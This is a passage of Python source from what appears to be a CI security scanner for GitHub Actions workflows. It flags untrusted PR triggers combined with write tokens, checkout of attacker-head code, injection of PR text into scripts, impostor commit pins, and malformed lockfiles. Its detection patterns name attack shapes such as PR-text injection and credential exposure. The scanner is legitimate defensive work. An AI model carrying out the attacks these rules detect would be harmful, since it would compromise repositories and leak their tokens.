  5203. "_walk_pull_requests_write: recursion depth cap (%d) exceeded "
  5204. "at path %r — stopping descent; deeper `pull-requests: write` "
  5205. "declarations (if any) will not be reported",
  5206. _WALK_MAX_DEPTH,
  5207. path,
  5208. )
  5209. return
  5210. if isinstance(node, dict):
  5211. permissions = node.get("permissions")
  5212. if isinstance(permissions, str) \
  5213. and permissions.strip().lower() == "write-all":
  5214. yield path + ("permissions",)
  5215. if (
  5216. "pull-requests" in node
  5217. and isinstance(node["pull-requests"], str)
  5218. and node["pull-requests"].lower() == "write"
  5219. ):
  5220. yield path + ("pull-requests",)
  5221. for k, v in node.items():
  5222. yield from _walk_pull_requests_write(
  5223. v, path + (str(k),), depth + 1
  5224. )
  5225. elif isinstance(node, list):
  5226. for i, item in enumerate(node):
  5227. yield from _walk_pull_requests_write(
  5228. item, path + (str(i),), depth + 1
  5229. )
  5230. def _find_pull_requests_write_line(lines: list[str]) -> int | None:
  5231. """Best-effort line number for the actual `pull-requests: write` token.
  5232. Scans `lines` for the literal ``pull-requests:`` key. Accepts two
  5233. spellings:
  5234. * Inline value on the same line: ``pull-requests: write``
  5235. * Block style with value on the next non-empty line:
  5236. ``pull-requests:\\n write``
  5237. Returns the line of the first match; falls back to ``None`` so the
  5238. caller can substitute the workflow-level ``permissions:`` line. This
  5239. is strictly more accurate than the previous behavior of always
  5240. reporting the workflow-level ``permissions:`` line, which is
  5241. misleading when ``pull-requests: write`` is actually granted at job
  5242. scope.
  5243. """
  5244. key_re = re.compile(r"^\s*pull-requests\s*:\s*(.*?)\s*(?:#.*)?$")
  5245. for i, line in enumerate(lines, start=1):
  5246. m = key_re.match(line)
  5247. if not m:
  5248. continue
  5249. value = m.group(1)
  5250. if value:
  5251. if value.strip().strip('"').strip("'").lower() == "write":
  5252. return i
  5253. continue
  5254. # block style — look ahead for the next non-empty, non-comment line.
  5255. for j in range(i, len(lines)):
  5256. nxt = lines[j].strip()
  5257. if not nxt or nxt.startswith("#"):
  5258. continue
  5259. if nxt.strip().strip('"').strip("'").lower() == "write":
  5260. return i
  5261. break
  5262. return None
  5263. def _p1418_grants_pr_write(permissions: Any) -> bool:
  5264. """Whether one workflow/job permissions value grants PR write access."""
  5265. if isinstance(permissions, str):
  5266. return permissions.strip().lower() == "write-all"
  5267. if not isinstance(permissions, dict):
  5268. return False
  5269. value = permissions.get("pull-requests")
  5270. return isinstance(value, str) and value.strip().lower() == "write"
  5271. def _p1418_write_scoped_jobs(doc: dict[str, Any]) -> list[tuple[str, dict[str, Any]]]:
  5272. """Jobs whose effective permissions include ``pull-requests: write``.
  5273. A job-level permissions block replaces the workflow-level block; an
  5274. unrelated read-only job therefore cannot lend its steps to the job that
  5275. owns the write token, or make that token look more dangerous than it is.
  5276. """
  5277. workflow_write = _p1418_grants_pr_write(doc.get("permissions"))
  5278. scoped: list[tuple[str, dict[str, Any]]] = []
  5279. for name, job in _walk_jobs(doc):
  5280. if "permissions" in job:
  5281. has_write = _p1418_grants_pr_write(job.get("permissions"))
  5282. else:
  5283. has_write = workflow_write
  5284. if has_write:
  5285. scoped.append((name, job))
  5286. return scoped
  5287. _P1418_COSMETIC_CALL_RE = re.compile(
  5288. r"^\s*(?:await\s+)?(?:github\.)?(?:rest\.)?issues\."
  5289. r"(?:addLabels|createComment)\s*\(",
  5290. re.I,
  5291. )
  5292. def _p1418_js_lstrip(line: str) -> str:
  5293. """Strip leading whitespace JavaScript accepts but Python may not.
  5294. Python's ``str.lstrip`` covers the ordinary JavaScript whitespace set but
  5295. not U+FEFF. JavaScript accepts U+FEFF before the line-leading ``-->``
  5296. comment token, so skipping it here would let executable text hide behind
  5297. what this narrow recognizer mistakes for an argument string.
  5298. """
  5299. stripped = line.lstrip()
  5300. while stripped.startswith("\ufeff"):
  5301. stripped = stripped[1:].lstrip()
  5302. return stripped
  5303. def _p1418_is_one_cosmetic_call(script: str) -> bool:
  5304. """Prove the narrow inline-script shape eligible for MEDIUM.
  5305. The accepted program is exactly one label/comment API call. Its argument
  5306. may be an object or arrays of literal labels, but it may not contain a
  5307. nested call, a template expression, or trailing JavaScript. This is
  5308. intentionally a positive proof rather than a deny-list of dangerous JS.
  5309. """
  5310. if "${{" in script or "`" in script:
  5311. return False
  5312. if any(_p1418_js_lstrip(line).startswith("-->")
  5313. for line in script.splitlines()):
  5314. return False
  5315. match = _P1418_COSMETIC_CALL_RE.match(script)
  5316. if match is None:
  5317. return False
  5318. opening = match.end() - 1
  5319. depth = 0
  5320. quote: str | None = None
  5321. escaped = False
  5322. for index in range(opening, len(script)):
  5323. char = script[index]
  5324. if quote is not None:
  5325. if escaped:
  5326. escaped = False
  5327. elif char == "\\":
  5328. escaped = True
  5329. elif char == quote:
  5330. quote = None
  5331. continue
  5332. # This is a deliberately small recognizer, not a JavaScript parser.
  5333. # Quotes inside comments and regex literals have different lexical
  5334. # rules and can otherwise desynchronise the string state below. Fail
  5335. # closed on every such shape instead of proving it cosmetic.
  5336. if char == "/" or script.startswith("<!--", index):
  5337. return False
  5338. if char in ("'", '"', "`"):
  5339. quote = char
  5340. elif char == "(":
  5341. depth += 1
  5342. if depth > 1:
  5343. return False
  5344. elif char == ")":
  5345. depth -= 1
  5346. if depth == 0:
  5347. return not script[index + 1:].strip().strip(";").strip()
  5348. if depth < 0:
  5349. return False
  5350. return False
  5351. def _p1418_script_risk(script: str) -> str | None:
  5352. """Specific HIGH reason for a script, before the generic fail-closed one."""
  5353. for expression in re.findall(r"\$\{\{.*?\}\}", script, re.S):
  5354. lowered = expression.lower()
  5355. if ("github.event.pull_request." in lowered or "github.head_ref" in lowered) \
  5356. and not _is_shape_safe_expression(expression):
  5357. return "executes attacker-controlled PR text"
  5358. flattened = re.sub(r"[\s.\[\]'\"]+", ".", script.lower())
  5359. if "pulls.createreview" in flattened \
  5360. or re.search(r"/pulls/[^'\"\s]+/reviews\b", script, re.I):
  5361. return "review API"
  5362. if "pulls.merge" in flattened \
  5363. or re.search(r"/pulls/[^'\"\s]+/merge\b", script, re.I):
  5364. return "merge API"
  5365. return None
  5366. def _correlation_pr_write_and_untrusted_trigger(
  5367. file_path: Path,
  5368. ) -> Iterator[RawHit]:
  5369. """P14.18 — workflow has untrusted-event trigger AND `pull-requests: write`
  5370. at any scope."""
  5371. text = _read_text_safe(file_path)
  5372. if not text:
  5373. return
  5374. doc = _parse_yaml_text(text, file_path)
  5375. if not isinstance(doc, dict):
  5376. return
  5377. on_node = _get_on_node(doc)
  5378. triggers = set(_on_trigger_names(on_node)) if on_node is not None else set()
  5379. untrusted = triggers & _UNTRUSTED_TRIGGERS
  5380. if not untrusted:
  5381. return
  5382. pr_write_paths = list(_walk_pull_requests_write(doc))
  5383. if not pr_write_paths:
  5384. return
  5385. sample_scope = ".".join(pr_write_paths[0])
  5386. line = _find_pull_requests_write_line(text.splitlines()) or _find_line_for_top_level_key(
  5387. text.splitlines(), "permissions"
  5388. ) or 1
  5389. risk_reasons: list[str] = []
  5390. scoped_jobs = _p1418_write_scoped_jobs(doc)
  5391. # A job-level permissions block replaces the workflow-level grant. A
  5392. # workflow-wide write-all declaration therefore exposes no PR-write token
  5393. # when every job narrows it to a read-only block.
  5394. if not scoped_jobs:
  5395. return
  5396. all_scoped_jobs_cosmetic = bool(scoped_jobs)
  5397. for _job_name, job in scoped_jobs:
  5398. steps = _job_steps(job)
  5399. job_is_cosmetic = len(steps) == 1
  5400. if not steps:
  5401. job_is_cosmetic = False
  5402. for step in steps:
  5403. uses = step.get("uses")
  5404. with_block = step.get("with")
  5405. if isinstance(uses, str) and uses.startswith("actions/checkout") \
  5406. and isinstance(with_block, dict) \
  5407. and any(_attacker_head_ref(with_block.get(key))
  5408. for key in ("ref", "repository")):
  5409. risk_reasons.append("checks out attacker-head PR code")
  5410. run = step.get("run")
  5411. if isinstance(run, str) and re.search(
  5412. r"\$\{\{\s*(?:github\.event\.pull_request\.(?!number\b|id\b|commits\b|sha\b|head_sha\b|merge_commit_sha\b|fork\b|merged\b|author_association\b)|github\.head_ref\b)",
  5413. run,
  5414. ):
  5415. risk_reasons.append("executes attacker-controlled PR text")
  5416. script = with_block.get("script") if isinstance(with_block, dict) else None
  5417. action_id = uses.split("@", 1)[0].lower() if isinstance(uses, str) else ""
  5418. is_github_script = (
  5419. action_id == "actions/github-script"
  5420. and isinstance(script, str)
  5421. )
  5422. if is_github_script:
  5423. specific_risk = _p1418_script_risk(script)
  5424. if specific_risk:
  5425. risk_reasons.append(specific_risk)
  5426. if not _p1418_is_one_cosmetic_call(script):
  5427. job_is_cosmetic = False
  5428. else:
  5429. job_is_cosmetic = False
  5430. all_scoped_jobs_cosmetic = all_scoped_jobs_cosmetic and job_is_cosmetic
  5431. # Preserve order while keeping the evidence compact when two risky legs
  5432. # coexist in one workflow.
  5433. risk_reasons = list(dict.fromkeys(risk_reasons))
  5434. if not risk_reasons and not all_scoped_jobs_cosmetic:
  5435. risk_reasons.append(
  5436. "workflow is not limited to label/comment-only github-script automation"
  5437. )
  5438. if risk_reasons:
  5439. profile = "; HIGH because " + ", ".join(risk_reasons)
  5440. severity_override: Severity | None = None
  5441. attacker_scenario = None
  5442. fix_strategy_override = None
  5443. fix_guidance = None
  5444. else:
  5445. profile = (
  5446. "; MEDIUM hygiene: no checkout, no PR-code execution, and no "
  5447. "review/merge API"
  5448. )
  5449. severity_override = "MEDIUM"
  5450. attacker_scenario = (
  5451. "A pull request author can influence cosmetic label or comment "
  5452. "automation, but this workflow does not execute PR content or "
  5453. "call review or merge APIs."
  5454. )
  5455. fix_strategy_override = "limit-cosmetic-pr-automation"
  5456. fix_guidance = (
  5457. "Keep the job limited to cosmetic labeling or commenting; remove "
  5458. "`pull-requests: write` if it is unused, and do not add PR-head "
  5459. "checkout, PR-controlled execution, or review/merge API calls."
  5460. )
  5461. yield RawHit(
  5462. line=line,
  5463. evidence=(
  5464. f"{line:>4}: workflow triggers on {sorted(untrusted)} AND "
  5465. f"grants `pull-requests: write` at scope `{sample_scope}`"
  5466. f"{profile} <-- here"
  5467. ),
  5468. match_text=sample_scope,
  5469. derived=True,
  5470. severity_override=severity_override,
  5471. attacker_scenario=attacker_scenario,
  5472. fix_strategy_override=fix_strategy_override,
  5473. fix_guidance=fix_guidance,
  5474. )
  5475. # Correlation function dispatch tables — METADATA's `correlation:` key
  5476. # names one of these. The type alias documents (and lets a type checker
  5477. # enforce) that each value is a callable from a workflow `Path` to a
  5478. # stream of `RawHit`s. `_FILE_CHECKS` shares the same signature but is
  5479. # called with the repo root rather than a workflow path; treating both
  5480. # as `Callable[[Path], Iterator[RawHit]]` keeps catalog validation
  5481. # uniform.
  5482. _Correlation = Callable[[Path], Iterator[RawHit]]
  5483. _JOB_CORRELATIONS: dict[str, _Correlation] = {
  5484. "credential-file-in-cache-or-artifact": _correlation_credential_file_in_cache_or_artifact,
  5485. "install-scripts-in-privileged-job": _correlation_install_scripts_in_privileged_job,
  5486. "unverified-remote-code-execution": _correlation_unverified_remote_code_execution,
  5487. }
  5488. _WORKFLOW_CORRELATIONS: dict[str, _Correlation] = {
  5489. "untrusted-trigger-writes-cache": _correlation_untrusted_trigger_writes_cache,
  5490. "pr-write-and-untrusted-trigger": _correlation_pr_write_and_untrusted_trigger,
  5491. "untrusted-checkout-executes": _correlation_untrusted_checkout_executes,
  5492. }
  5493. # -----------------------------------------------------------------------------
  5494. # repo-file-check: reads a file outside .github/workflows/
  5495. # -----------------------------------------------------------------------------
  5496. _FILE_CHECKS: dict[str, _Correlation] = {
  5497. # Empty since the critical-only descope: the presence-shaped repo-file
  5498. # checks (scanner-installed, tag-pin audit, CODEOWNERS) left the catalog —
  5499. # promoted to scored config facts or dropped. The
  5500. # repo-file-check detector machinery stays for future catalog entries.
  5501. }
  5502. def _validate_catalog_dispatch(entries: list[CatalogEntry]) -> list[CatalogEntry]:
  5503. """Raise if any correlation/file_check identifier is unknown.
  5504. Catches METADATA typos at catalog load time rather than at scan time.
  5505. Dropping the entry instead would delete a whole chain from the scan
  5506. while the report still claimed full coverage, so an unresolvable
  5507. dispatch id fails the load outright.
  5508. """
  5509. for entry in entries:
  5510. if entry.detector == "yaml-job-correlated":
  5511. if entry.correlation not in _JOB_CORRELATIONS:
  5512. raise ValueError(
  5513. f"Pattern {entry.pattern}: unknown correlation "
  5514. f"{entry.correlation!r} for {entry.detector}"
  5515. )
  5516. elif entry.detector == "yaml-workflow-correlated":
  5517. if entry.correlation not in _WORKFLOW_CORRELATIONS:
  5518. raise ValueError(
  5519. f"Pattern {entry.pattern}: unknown correlation "
  5520. f"{entry.correlation!r} for {entry.detector}"
  5521. )
  5522. elif entry.detector == "repo-file-check":
  5523. if entry.file_check not in _FILE_CHECKS:
  5524. raise ValueError(
  5525. f"Pattern {entry.pattern}: unknown file_check "
  5526. f"{entry.file_check!r} for {entry.detector}"
  5527. )
  5528. return entries
  5529. def _prefetch_activity(
  5530. repo: str, workflow_files: list[Path], root: Path, max_workers: int = 12,
  5531. ) -> dict[str, dict[str, Any]]:
  5532. """Concurrently fetch workflow activity for every workflow file.
  5533. Activity enrichment is one network-latency-bound gh API call per
  5534. workflow. Done serially (the old inline-in-the-detector-loop path) it
  5535. dominated scan time — ~2s × N workflows. The calls are independent and
  5536. read-only, so a bounded thread pool collapses N round-trips into roughly
  5537. one. Returns ``{rel_path: activity_dict}``; a per-workflow failure is
  5538. captured as ``{"status": "unavailable", ...}`` (never raised), so one bad
  5539. call can't abort the whole scan while still reading as "checked and
  5540. failed" rather than "never attempted".
  5541. """
  5542. if not workflow_files:
  5543. return {}
  5544. def _one(wf: Path) -> tuple[str, dict[str, Any]]:
  5545. rel = str(wf.relative_to(root))
  5546. try:
  5547. return rel, fetch_workflow_activity(
  5548. repo, wf.name, workflow_call_only=_is_workflow_call_only(wf),
  5549. )
  5550. # One workflow's failure must not abort the scan — but it must NOT
  5551. # collapse to `{}` either: `{}` means "enrichment never ran" (no
  5552. # --repo), and the report reads that as no data rather than a failed
  5553. # check, so a rate-limited workflow would silently look active.
  5554. except (OSError, ValueError, RuntimeError, subprocess.SubprocessError) as e:
  5555. logger.warning("activity prefetch failed for %s: %s", rel, e)
  5556. return rel, {"status": "unavailable", "reason": str(e)}
  5557. workers = min(max_workers, len(workflow_files))
  5558. with ThreadPoolExecutor(max_workers=workers) as ex:
  5559. return dict(ex.map(_one, workflow_files))
  5560. # Anchored at the start of the (comment-stripped) line: a pin is a step's
  5561. # `uses:` KEY, optionally introduced by the `- ` list dash. Anchoring — rather
  5562. # than searching anywhere in the line — is what keeps commented-out pins
  5563. # (`# - uses: old/action@<sha>`) and `uses:` text quoted inside a `run:` block
  5564. # scalar (`echo "uses: evil/repo@<sha>"`) out of the pin set. Both would
  5565. # otherwise become network-checked, and a 404 on either would render as a
  5566. # CRITICAL impostor finding pointing at a line that is not an action reference.
  5567. _USES_SHA_LINE_RE = re.compile(
  5568. r"^\s*(?:-\s*)?uses\s*:\s*[\"']?"
  5569. r"([A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+)(?:/[^@\s\"']+)?@([0-9a-fA-F]{40})\b"
  5570. )
  5571. def _strip_yaml_comment(line: str) -> str:
  5572. """Drop a trailing `#` comment. Safe for this regex's alphabet: neither an
  5573. `owner/repo[/path]` nor a 40-hex sha can contain `#`, so cutting at the
  5574. first `#` never truncates a real pin — it only removes the commentary
  5575. after it (`uses: a/b@<sha> # v4.1.1` keeps its pin)."""
  5576. idx = line.find("#")
  5577. return line if idx < 0 else line[:idx]
  5578. # The same shape, matched against a `uses:` VALUE already extracted from the
  5579. # parsed YAML (so quoting, folded scalars and flow style are already resolved).
  5580. _PIN_VALUE_RE = re.compile(
  5581. r"^([A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+)(?:/[^@\s]+)?@([0-9a-fA-F]{40})$"
  5582. )
  5583. def _walk_uses_values(node: Any, depth: int = 0) -> Iterator[str]:
  5584. """Every `uses:` string value in a parsed workflow, in document order.
  5585. Covers step `uses:` and job-level `uses:` (reusable workflows) at any
  5586. nesting depth. Bounded by ``_WALK_MAX_DEPTH`` like the other walkers —
  5587. and, like them, the cap is announced: pins below it are never checked,
  5588. which for a network-gated detector reads as clean.
  5589. """
  5590. if depth > _WALK_MAX_DEPTH:
  5591. logger.warning(
  5592. "_walk_uses_values: recursion depth cap (%d) exceeded — stopping "
  5593. "descent; deeper `uses:` pins (if any) will NOT be collected or "
  5594. "impostor-checked",
  5595. _WALK_MAX_DEPTH,
  5596. )
  5597. return
  5598. if isinstance(node, dict):
  5599. value = node.get("uses")
  5600. if isinstance(value, str):
  5601. yield value.strip()
  5602. for child in node.values():
  5603. yield from _walk_uses_values(child, depth + 1)
  5604. elif isinstance(node, list):
  5605. for item in node:
  5606. yield from _walk_uses_values(item, depth + 1)
  5607. def _sha_line_candidates(text: str, sha: str) -> list[int]:
  5608. """Line numbers whose code (comments stripped) contains `sha`, in order.
  5609. A 40-hex sha is effectively unique within a workflow, so this locates a
  5610. pin's line exactly — including when the value sits on a folded-scalar
  5611. continuation line, where the `uses:` key is on a different line.
  5612. """
  5613. lines = text.splitlines()
  5614. hits = [i for i, line in enumerate(lines, start=1)
  5615. if sha in _strip_yaml_comment(line).lower()]
  5616. if hits:
  5617. return hits
  5618. # Only a commented-out occurrence — fall back to it rather than losing
  5619. # the line number entirely.
  5620. return [i for i, line in enumerate(lines, start=1) if sha in line.lower()]
  5621. def _collect_sha_pins(
  5622. root: Path, workflow_files: list[Path]
  5623. ) -> list[tuple[str, int, str, str]]:
  5624. """Every `uses: owner/repo[/path]@<40-hex>` pin: (rel_file, line, repo, sha).
  5625. Pins come from the PARSED workflow, not from a line scan, because the two
  5626. failure directions both matter for a network-gated critical check:
  5627. * a line scan collects things that are not action references — a
  5628. commented-out `# - uses: old/action@<sha>` or a `uses:` string quoted
  5629. inside a `run:` block — and a 404 on either renders as a CRITICAL
  5630. impostor finding on a line that pins nothing;
  5631. * a line scan misses references that are not written on one line —
  5632. a folded scalar (`uses: >-` with the value below) or flow style
  5633. (`- {uses: owner/repo@<sha>}`) — and a missed pin is a silent clean.
  5634. Parsing answers both: the walk sees resolved `uses:` values only. Line
  5635. numbers stay exact by locating the sha itself in the text. Local (`./…`)
  5636. and `docker://` references never match the pin shape. If a workflow does
  5637. not parse, fall back to the anchored line regex rather than dropping its
  5638. pins (an unparseable file is already surfaced as a coverage gap).
  5639. """
  5640. pins: list[tuple[str, int, str, str]] = []
  5641. for wf in workflow_files:
  5642. text = _read_text_safe(wf)
  5643. if not text:
  5644. continue
  5645. rel = str(wf.relative_to(root))
  5646. doc = _parse_yaml_text(text, wf)
  5647. if not isinstance(doc, dict):
  5648. for lineno, line in enumerate(text.splitlines(), start=1):
  5649. m = _USES_SHA_LINE_RE.match(_strip_yaml_comment(line))
  5650. if m:
  5651. pins.append((rel, lineno, m.group(1), m.group(2).lower()))
  5652. continue
  5653. used_lines: dict[str, int] = {}
  5654. for value in _walk_uses_values(doc):
  5655. m = _PIN_VALUE_RE.match(value)
  5656. if not m:
  5657. continue
  5658. sha = m.group(2).lower()
  5659. candidates = _sha_line_candidates(text, sha)
  5660. idx = used_lines.get(sha, 0)
  5661. # Repeats of one pin consume successive occurrences; past the end,
  5662. # reuse the last known line rather than inventing one.
  5663. lineno = candidates[min(idx, len(candidates) - 1)] if candidates else 1
  5664. used_lines[sha] = idx + 1
  5665. pins.append((rel, lineno, m.group(1), sha))
  5666. return pins
  5667. # ---- GitHub Actions workflow lockfile ---------------------------------------
  5668. #
  5669. # `gh actions-lock` writes `.github/workflows/actions.lock`: the workflow YAML
  5670. # keeps `uses: owner/repo@v7.0.1` and the commit that runs lives only in the
  5671. # lockfile. For a workflow listed under `workflows:`, GitHub runs the locked
  5672. # commit and, at run time, rejects one that is not reachable from its recorded
  5673. # ref or whose owner/repository identity no longer matches. P14.11 reads only
  5674. # full-commit `uses:` pins, so on a locked repository it has nothing to check;
  5675. # `_action_lockfile_summary` makes that visible instead of silent.
  5676. #
  5677. # A minimal, fail-closed reader of the same format ci-score credits (skills
  5678. # install standalone, so no cross-skill import). Its accept/reject verdict is
  5679. # pinned against ci-score's reader by tests/test_action_lockfile_parity.py at
  5680. # the repo root. Shape (format v0.0.x):
  5681. # version: 'v0.0.3'
  5682. # workflows: {'.github/workflows/ci.yml': ['actions/checkout@v7.0.1', ...]}
  5683. # dependencies: {'actions/checkout@v7.0.1': {ref, commit: 'sha1-<40 hex>',
  5684. # owner_id, repo_id, uses?}}
  5685. _LOCKFILE_REL = ".github/workflows/actions.lock"
  5686. _LOCK_COMMIT_RE = re.compile(r"\Asha1-[0-9a-f]{40}\Z")
  5687. _LOCK_VERSIONS = ("v0.0.2", "v0.0.3") # the versions ci-score accepts (GitHub's docs show v0.0.3)
  5688. _LOCK_WORKFLOW_KEY_RE = re.compile(r"\A\.github/workflows/[^/]+\Z")
  5689. _LOCK_SHA40_RE = re.compile(r"\A[0-9a-f]{40}\Z")
  5690. class _StrictLockLoader(yaml.SafeLoader):
  5691. """SafeLoader that refuses a duplicated mapping key: plain yaml keeps the
  5692. LAST of two equal keys, so a malformed entry followed by a valid one would
  5693. read as valid."""
  5694. def _lock_no_duplicate_keys(loader: yaml.SafeLoader, node: Any,
  5695. deep: bool = False) -> Any:
  5696. seen: set[Any] = set()
  5697. for key_node, _value_node in node.value:
  5698. key = loader.construct_object(key_node, deep=deep)
  5699. try:
  5700. dup = key in seen
  5701. seen.add(key)
  5702. except TypeError:
  5703. raise yaml.YAMLError("unhashable mapping key")
  5704. if dup:
  5705. raise yaml.YAMLError(f"duplicated key {key!r}")
  5706. return loader.construct_mapping(node, deep=deep)
  5707. _StrictLockLoader.add_constructor(
  5708. yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, _lock_no_duplicate_keys)
  5709. def _lock_ref_key(text: Any) -> str | None:
  5710. """`owner/repo[/path]@ref` → the lookup key (owner/repo matched
  5711. case-insensitively, as GitHub resolves them; the ref exactly)."""
  5712. if not isinstance(text, str) or "@" not in text:
  5713. return None
  5714. action, _, ref = text.partition("@")
  5715. return f"{action.strip().lower()}@{ref.strip()}"
  5716. def _load_action_lockfile(root: Path) -> tuple[str, dict[str, set[str]]]:
  5717. """(state, per_workflow): state is "absent", "valid" or "invalid";
  5718. per_workflow maps each listed workflow to the reference keys locked for it.
  5719. Fails CLOSED — anything this reader cannot fully vouch for is "invalid"
  5720. and covers nothing: a file not spelled exactly `actions.lock` (GitHub
  5721. reads only that path), a symbolic link, unreadable bytes, YAML that does
  5722. not parse or repeats a key, an unknown top-level key, an undocumented
  5723. format version, a commit that is not `sha1-` plus 40 hex, a missing ref /
  5724. owner_id / repo_id, an entry whose `ref` disagrees with its key, a
  5725. reference listed (or named in `uses:`) with no entry of its own, or a
  5726. workflow key that is not exactly `.github/workflows/<file>`."""
  5727. bad: tuple[str, dict[str, set[str]]] = ("invalid", {})
  5728. wf_dir = root / ".github" / "workflows"
  5729. try:
  5730. names = os.listdir(wf_dir)
  5731. except OSError:
  5732. return "absent", {}
  5733. if "actions.lock" not in names:
  5734. # A case variant is not GitHub's lockfile either; it covers nothing.
  5735. return ("invalid", {}) if any(n.lower() == "actions.lock" for n in names) \
  5736. else ("absent", {})
  5737. path = wf_dir / "actions.lock"
  5738. if path.is_symlink() or not path.is_file():
  5739. return bad
  5740. try:
  5741. loader = _StrictLockLoader(path.read_text(encoding="utf-8"))
  5742. try:
  5743. doc = loader.get_single_data()
  5744. finally:
  5745. loader.dispose()
  5746. except (OSError, ValueError, yaml.YAMLError):
  5747. return bad
  5748. if not isinstance(doc, dict) or set(doc) - {"version", "workflows", "dependencies"}:
  5749. return bad
  5750. wfs, deps = doc.get("workflows"), doc.get("dependencies")
  5751. if (doc.get("version") not in _LOCK_VERSIONS
  5752. or not isinstance(wfs, dict) or not isinstance(deps, dict)):
  5753. return bad
  5754. valid: set[str] = set()
  5755. nested: set[str] = set()
  5756. for key, entry in deps.items():
  5757. k = _lock_ref_key(key)
  5758. if (k is None or not isinstance(entry, dict)
  5759. or not isinstance(entry.get("ref"), str)
  5760. or not (isinstance(entry.get("commit"), str)
  5761. and _LOCK_COMMIT_RE.match(entry["commit"]))
  5762. or not all(isinstance(entry.get(f), int)
  5763. and not isinstance(entry.get(f), bool)
  5764. for f in ("owner_id", "repo_id"))):
  5765. return bad
  5766. key_ref = key.partition("@")[2].strip()
  5767. if _LOCK_SHA40_RE.match(key_ref):
  5768. if entry["commit"] != f"sha1-{key_ref}":
  5769. return bad
  5770. elif entry["ref"] != key_ref:
  5771. return bad
  5772. uses = entry.get("uses", [])
  5773. if not isinstance(uses, list) or any(_lock_ref_key(u) is None for u in uses):
  5774. return bad
  5775. valid.add(k)
  5776. nested.update(_lock_ref_key(u) for u in uses)
  5777. per_workflow: dict[str, set[str]] = {}
  5778. for wf, refs in wfs.items():
  5779. if (not isinstance(wf, str) or not isinstance(refs, list)
  5780. or not _LOCK_WORKFLOW_KEY_RE.match(wf)
  5781. or os.path.normpath(wf) != wf or wf in per_workflow):
  5782. return bad
  5783. keys = [_lock_ref_key(r) for r in refs]
  5784. if any(k is None or k not in valid for k in keys):
  5785. return bad
  5786. per_workflow[wf] = set(keys)
  5787. if not nested <= valid:
  5788. return bad
  5789. return "valid", per_workflow
  5790. def _lock_step_uses(doc: Any) -> Iterator[str]:
  5791. """Each step-level `uses:` value (`jobs.<id>.steps[].uses`), in order.
  5792. Deliberately NOT `_walk_uses_values`: GitHub's lockfile does not pin a
  5793. call to a reusable workflow (`jobs.<id>.uses`), so a lockfile entry for
  5794. one is never verified at run time, and an action input named `uses`
  5795. under `with:` is not a reference at all. Same rule as ci-score's
  5796. `_step_uses`."""
  5797. jobs = doc.get("jobs") if isinstance(doc, dict) else None
  5798. if not isinstance(jobs, dict):
  5799. return
  5800. for job in jobs.values():
  5801. steps = job.get("steps") if isinstance(job, dict) else None
  5802. if not isinstance(steps, list):
  5803. continue
  5804. for step in steps:
  5805. if isinstance(step, dict) and isinstance(step.get("uses"), str):
  5806. yield step["uses"].strip()
  5807. def _lockfile_display_path(root: Path, state: str) -> str:
  5808. """The lockfile path to name: a case variant (`Actions.lock`) is named as
  5809. it is on disk, so the report never points at a file that is not there."""
  5810. if state != "invalid":
  5811. return _LOCKFILE_REL
  5812. try:
  5813. names = os.listdir(root / ".github" / "workflows")
  5814. except OSError:
  5815. return _LOCKFILE_REL
  5816. if "actions.lock" in names:
  5817. return _LOCKFILE_REL
  5818. variants = sorted(n for n in names if n.lower() == "actions.lock")
  5819. return f".github/workflows/{variants[0]}" if variants else _LOCKFILE_REL
  5820. def _action_lockfile_summary(root: Path,
  5821. workflow_files: list[Path]) -> dict[str, Any]:
  5822. """What the lockfile covers that P14.11 does not read.
  5823. Counts each step-level `uses:` occurrence, in a scanned workflow the
  5824. lockfile lists, whose ref is NOT a full commit and that the lockfile
  5825. locks for that workflow — the references whose commit lives only in the
  5826. lockfile. A full-commit pin is left to P14.11, which checks it directly;
  5827. a reusable-workflow call is never counted (the lockfile does not pin
  5828. it). Always returns the key set so report.py can rely on it."""
  5829. state, per_workflow = _load_action_lockfile(root)
  5830. covered = 0
  5831. covered_workflows: list[str] = []
  5832. if state == "valid":
  5833. for wf in workflow_files:
  5834. rel = _repo_relative(str(wf), root)
  5835. locked = per_workflow.get(rel)
  5836. if not locked:
  5837. continue
  5838. text = _read_text_safe(wf)
  5839. doc = _parse_yaml_text(text, wf, quiet=True) if text else None
  5840. if not isinstance(doc, dict):
  5841. continue # an unparseable workflow is already a coverage gap
  5842. n = 0
  5843. for value in _lock_step_uses(doc):
  5844. k = _lock_ref_key(value)
  5845. if (k is None or value.startswith(("./", "docker://"))
  5846. or _LOCK_SHA40_RE.match(k.rpartition("@")[2].lower())):
  5847. continue
  5848. if k in locked:
  5849. n += 1
  5850. if n:
  5851. covered += n
  5852. covered_workflows.append(rel)
  5853. logger.debug("action lockfile: state=%s, %d reference(s) in %d workflow(s)",
  5854. state, covered, len(covered_workflows))
  5855. return {
  5856. "path": _lockfile_display_path(root, state),
  5857. "state": state,
  5858. "covered_references": covered,
  5859. "covered_workflows": covered_workflows,
  5860. }
  5861. @lru_cache(maxsize=None)
  5862. def _gh_repo_visible(repo: str) -> bool:
  5863. """Can this `gh` identity see `repo` at all? The commit endpoint answers
  5864. 404 both for 'the canonical repo never contained this commit' (the
  5865. impostor chain) AND for 'you cannot see this repo' — GitHub returns 404,
  5866. not 403, for private resources. Without this probe, a private/internal
  5867. shared-action repo the running token lacks access to would be reported as
  5868. a CRITICAL impostor finding."""
  5869. try:
  5870. result = subprocess.run(
  5871. ["gh", "api", f"repos/{repo}", "--silent",
  5872. "--hostname", "github.com"],
  5873. capture_output=True, text=True, timeout=30,
  5874. )
  5875. except (subprocess.TimeoutExpired, FileNotFoundError):
  5876. return False
  5877. return result.returncode == 0
  5878. _SHA40_RE = re.compile(r"[0-9a-f]{40}")
  5879. # An annotated tag may point at another tag object. Real repos never nest more
  5880. # than once or twice; the bound just stops a malicious or broken cycle.
  5881. _MAX_TAG_PEEL_DEPTH = 5
  5882. def _gh_commit_probe(repo: str, sha: str) -> bool | None:
  5883. """Raw `repos/{repo}/commits/{sha}` verdict: True (present), False (the API
  5884. says absent or unprocessable), None (unknowable — network, rate limit, auth).
  5885. """
  5886. try:
  5887. result = subprocess.run(
  5888. ["gh", "api", f"repos/{repo}/commits/{sha}", "--silent",
  5889. "--hostname", "github.com"],
  5890. capture_output=True, text=True, timeout=30,
  5891. )
  5892. except (subprocess.TimeoutExpired, FileNotFoundError):
  5893. return None
  5894. if result.returncode == 0:
  5895. return True
  5896. stderr = result.stderr or ""
